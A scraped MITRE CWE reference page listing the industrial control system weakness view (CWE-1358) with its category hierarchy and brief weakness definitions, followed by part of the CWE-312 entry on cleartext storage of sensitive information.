Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inconsistency Between Implementation and Documented Design - (1068)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1068 (Inconsistency Between Implementation and Documented Design)

The implementation of the product is not consistent with the design as described within the relevant documentation.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Unmaintained Third Party Components - (1104)

The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Component That is Not Updateable - (1329)

The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1357 (Reliance on Insufficiently Trustworthy Component)

The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.

The product uses default passwords for potentially critical functionality.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain - (1361)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain)

Weaknesses in this category are related to the "ICS Supply Chain" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: IT/OT Convergence/Expansion - (1369)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1369 (ICS Supply Chain: IT/OT Convergence/Expansion)

Weaknesses in this category are related to the "IT/OT Convergence/Expansion" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The increased penetration of DER devices and smart loads make emerging ICS networks more like IT networks and thus susceptible to vulnerabilities similar to those of IT networks." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1369 (ICS Supply Chain: IT/OT Convergence/Expansion) > 636 (Not Failing Securely ('Failing Open'))

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions. Failing Open

Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Access Control - (284)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1369 (ICS Supply Chain: IT/OT Convergence/Expansion) > 284 (Improper Access Control)

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Authorization

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: Common Mode Frailties - (1370)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties)

Weaknesses in this category are related to the "Common Mode Frailties" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "At the component level, most ICS systems are assembled from common parts made by other companies. One or more of these common parts might contain a vulnerability that could result in a wide-spread incident." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 664 (Improper Control of a Resource Through its Lifetime)

The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 707 (Improper Neutralization)

The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 710 (Improper Adherence to Coding Standards)

The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 1357 (Reliance on Insufficiently Trustworthy Component)

The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 329 (Generation of Predictable IV with CBC Mode)

The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 693 (Protection Mechanism Failure)

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: Poorly Documented or Undocumented Features - (1371)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features)

Weaknesses in this category are related to the "Poorly Documented or Undocumented Features" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Undocumented capabilities and configurations pose a risk by not having a clear understanding of what the device is specifically supposed to do and only do. Therefore possibly opening up the attack surface and vulnerabilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 489 (Active Debug Code)

The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information. Leftover debug code

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 912 (Hidden Functionality)

The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 1059 (Insufficient Technical Documentation)

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Undocumented Features or Chicken Bits - (1242)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 1242 (Inclusion of Undocumented Features or Chicken Bits)

The device includes chicken bits or undocumented features that can create entry points for unauthorized actors.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: OT Counterfeit and Malicious Corruption - (1372)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption)

Weaknesses in this category are related to the "OT Counterfeit and Malicious Corruption" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "In ICS, when this procurement process results in a vulnerability or component damage, it can have grid impacts or cause physical harm." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques - (1278)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1278 (Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques)

Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.

Category - a CWE entry that contains a set of other entries that share a common characteristic. Privilege Separation and Access Control Issues - (1198)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1198 (Privilege Separation and Access Control Issues)

Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1231 (Improper Prevention of Lock Bit Modification)

The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Security-Sensitive Hardware Controls with Missing Lock Bit Protection - (1233)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1233 (Security-Sensitive Hardware Controls with Missing Lock Bit Protection)

The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 284 (Improper Access Control)

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Authorization

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Constructions/Deployment) - (1362)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment))

Weaknesses in this category are related to the "ICS Engineering (Constructions/Deployment)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Trust Model Problems - (1373)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1373 (ICS Engineering (Construction/Deployment): Trust Model Problems)

Weaknesses in this category are related to the "Trust Model Problems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Assumptions made about the user during the design or construction phase may result in vulnerabilities after the system is installed if the user operates it using a different security approach or process than what was designed or built." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1373 (ICS Engineering (Construction/Deployment): Trust Model Problems) > 269 (Improper Privilege Management)

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Untrusted Inputs in a Security Decision - (807)

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Acceptance of Extraneous Untrusted Data With Trusted Data - (349)

The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Maker Breaker Blindness - (1374)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1374 (ICS Engineering (Construction/Deployment): Maker Breaker Blindness)

Weaknesses in this category are related to the "Maker Breaker Blindness" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Lack of awareness of deliberate attack techniques by people (vs failure modes from natural causes like weather or metal fatigue) may lead to insufficient security controls being built into ICS systems." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Gaps in Details/Data - (1375)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data)

Weaknesses in this category are related to the "Gaps in Details/Data" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Highly complex systems are often operated by personnel who have years of experience in managing that particular facility or plant. Much of their knowledge is passed along through verbal or hands-on training but may not be fully documented in written practices and procedures." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data) > 1059 (Insufficient Technical Documentation)

The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.

The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

The product does not have documentation that represents how it is designed.

The product's documentation does not adequately define inputs, outputs, or system/software interfaces.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Security Gaps in Commissioning - (1376)

Weaknesses in this category are related to the "Security Gaps in Commissioning" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "As a large system is brought online components of the system may remain vulnerable until the entire system is operating and functional and security controls are put in place. This creates a window of opportunity for an adversary during the commissioning process." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1376 (ICS Engineering (Construction/Deployment): Security Gaps in Commissioning) > 276 (Incorrect Default Permissions)

During installation, installed file permissions are set to allow anyone to modify those files.

The product uses default passwords for potentially critical functionality.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Inherent Predictability in Design - (1377)

Weaknesses in this category are related to the "Inherent Predictability in Design" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The commonality of design (in ICS/SCADA architectures) for energy systems and environments opens up the possibility of scaled compromise by leveraging the inherent predictability in the design." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques - (1278)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1377 (ICS Engineering (Construction/Deployment): Inherent Predictability in Design) > 1278 (Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques)

Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance) - (1363)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance))

Weaknesses in this category are related to the "ICS Operations (& Maintenance)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Gaps in obligations and training - (1378)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1378 (ICS Operations (& Maintenance): Gaps in obligations and training)

Weaknesses in this category are related to the "Gaps in obligations and training" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "OT ownership and responsibility for identifying and mitigating vulnerabilities are not clearly defined or communicated within an organization, leaving environments unpatched, exploitable, and with a broader attack surface." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Human factors in ICS environments - (1379)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1379 (ICS Operations (& Maintenance): Human factors in ICS environments)

Weaknesses in this category are related to the "Human factors in ICS environments" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Environmental factors in ICS including physical duress, system complexities, and isolation may result in security gaps or inadequacies in the performance of individual duties and responsibilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1379 (ICS Operations (& Maintenance): Human factors in ICS environments) > 655 (Insufficient Psychological Acceptability)

The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Post-analysis changes - (1380)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1380 (ICS Operations (& Maintenance): Post-analysis changes)

Weaknesses in this category are related to the "Post-analysis changes" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Changes made to a previously analyzed and approved ICS environment can introduce new security vulnerabilities (as opposed to safety)." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Exploitable Standard Operational Procedures - (1381)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1381 (ICS Operations (& Maintenance): Exploitable Standard Operational Procedures)

Weaknesses in this category are related to the "Exploitable Standard Operational Procedures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Standard ICS Operational Procedures developed for safety and operational functionality in a closed, controlled communications environment can introduce vulnerabilities in a more connected environment." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Emerging Energy Technologies - (1382)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies)

Weaknesses in this category are related to the "Emerging Energy Technologies" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "With the rapid evolution of the energy system accelerated by the emergence of new technologies such as DERs, electric vehicles, advanced communications (5G+), novel and diverse challenges arise for secure and resilient operation of the system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 20 (Improper Input Validation)

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. AuthZ

The product does not validate, or incorrectly validates, a certificate.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Following of a Certificate's Chain of Trust - (296)

The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

The product does not properly verify that the source of data or communication is valid.

The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. URL Redirection to Untrusted Site ('Open Redirect') - (601)

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Open Redirect Cross-site Redirect Cross-domain Redirect Unvalidated Redirect

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements - (1383)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1383 (ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements)

Weaknesses in this category are related to the "Compliance/Conformance with Regulatory Requirements" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The ICS environment faces overlapping regulatory regimes and authorities with multiple focus areas (e.g., operational resiliency, physical safety, interoperability, and security) which can result in cyber security vulnerabilities when implemented as written due to gaps in considerations, outdatedness, or conflicting requirements." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: View

Rationale:

This entry is a View. Views are not weaknesses and therefore inappropriate to describe the root causes of vulnerabilities.

Comments:

Use this View or other Views to search and navigate for the appropriate weakness.

Notes

Relationship

Relationships in this view are not authoritative and subject to change. See Maintenance notes.

Maintenance

This view was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

References

[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.

View Metrics

	CWEs in this view		Total CWEs
Weaknesses	81	out of	940
Categories	26	out of	374
Views	0	out of	51
Total	107	out of	1365

Content History

Submissions
Submission Date	Submitter	Organization
2022-03-09 (CWE 4.7, 2022-04-28)	New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)	Securing Energy Infrastructure Executive Task Force
2022-03-09 (CWE 4.7, 2022-04-28)
Modifications
Modification Date	Modifier	Organization
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Maintenance_Notes, Relationship_Notes
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

View Components

Weakness ID: 312

Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

View customized information:

For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.

Description

The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

Extended Description

Because the information is stored in cleartext (i.e., unencrypted), attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

When organizations adopt cloud services, it can be easier for attackers to access the data from anywhere on the Internet.

In some systems/environments such as cloud, the use of "double encryption" (at both the software and hardware layer) might be required, and the developer might be solely responsible for both layers, instead of shared responsibility with the administrator of the broader system/environment.

Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data An attacker with access to the system could read sensitive information stored in cleartext.

Potential Mitigations

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to encrypt the data at rest. [REF-1297] [REF-1299] [REF-1301]

Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	311	Missing Encryption of Sensitive Data
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	922	Insecure Storage of Sensitive Information
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	313	Cleartext Storage in a File or on Disk
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	314	Cleartext Storage in the Registry
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	315	Cleartext Storage of Sensitive Information in a Cookie
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	316	Cleartext Storage of Sensitive Information in Memory
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	317	Cleartext Storage of Sensitive Information in GUI
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	318	Cleartext Storage of Sensitive Information in Executable
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	526	Cleartext Storage of Sensitive Information in an Environment Variable

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	199	Information Management Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	311	Missing Encryption of Sensitive Data

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1013	Encrypt Data

Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Applicable Platforms

